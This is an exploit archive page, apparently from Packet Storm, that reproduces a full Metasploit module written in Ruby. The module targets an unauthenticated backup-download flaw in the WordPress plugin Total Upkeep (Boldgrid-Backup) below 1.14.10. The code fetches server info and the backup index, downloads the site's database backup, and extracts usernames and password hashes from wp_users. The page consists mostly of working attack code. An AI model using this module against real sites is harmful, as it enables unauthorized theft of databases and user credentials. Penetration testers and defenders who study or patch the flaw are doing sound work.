what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Total Upkeep Unauthenticated Backup Downloader

WordPress Total Upkeep Unauthenticated Backup Downloader
Posted Sep 1, 2024
Authored by h00die, Wadeek | Site metasploit.com

This Metasploit module exploits an unauthenticated database backup vulnerability in WordPress plugin Boldgrid-Backup also known as Total Upkeep version < 1.14.10. First, env-info.php is read to get server information. Next, restore-info.json is read to retrieve the last backup file. That backup is then downloaded, and any sql files will be parsed looking for the wp_users INSERT statement to grab user creds.

tags | exploit, php
SHA-256 | 8ab619abe5830fc334f96aa44ebe91bf5262fbdf2d37942eb3a12c5a678f4e61

WordPress Total Upkeep Unauthenticated Backup Downloader

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',
'Description' => %q{
This module exploits an unauthenticated database backup vulnerability in WordPress plugin
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
First, `env-info.php` is read to get server information. Next, `restore-info.json` is
read to retrieve the last backup file. That backup is then downloaded, and any sql
files will be parsed looking for the wp_users INSERT statement to grab user creds.
},
'References' => [
['EDB', '49252'],
['WPVDB', '10502'],
['WPVDB', '10503'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']
],
'Author' => [
'Wadeek', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2020-12-12',
'License' => MSF_LICENSE
)
)
end

def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end

checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"
end
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")

print_status("#{ip} - Obtaining Server Info")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
})

fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.server.info',
'text/json',
ip,
data,
'env-info.json'
)
print_good("#{ip} - File saved in: #{path}")

print_status("#{ip} - Obtaining Backup List from Cron")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200

begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.backup.info',
'text/json',
ip,
data,
'restore-info.json'
)
print_good("#{ip} - File saved in: #{path}")
unless data['filepath']
print_bad("#{ip} - no file found")
end
# pull a url from the local file system path
path = data['filepath'].sub(data['ABSPATH'], '')
print_status("#{ip} attempting download of #{path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
path = store_loot(
'boldgrid-backup.backup.zip',
'application/zip',
ip,
res.body,
path.split('/').last
)
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")

Zip::File.open(path) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file
next unless entry.name.ends_with?('.sql')

print_status("#{ip} - Attempting to pull creds from #{entry}")
f = entry.get_input_stream.read
f.split("\n").each do |l|
next unless l.include?('INSERT INTO `wp_users` VALUES ')

columns = ['user_login', 'user_pass']
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
l.split('),(').each do |user|
user = user.split(',')
username = user[1].strip
username = username.start_with?("'") ? username.gsub("'", '') : username
hash = user[2].strip
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << [username, hash]
end
print_good(table.to_s)
end
end
end
print_status("#{ip} - finished processing backup zip")
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close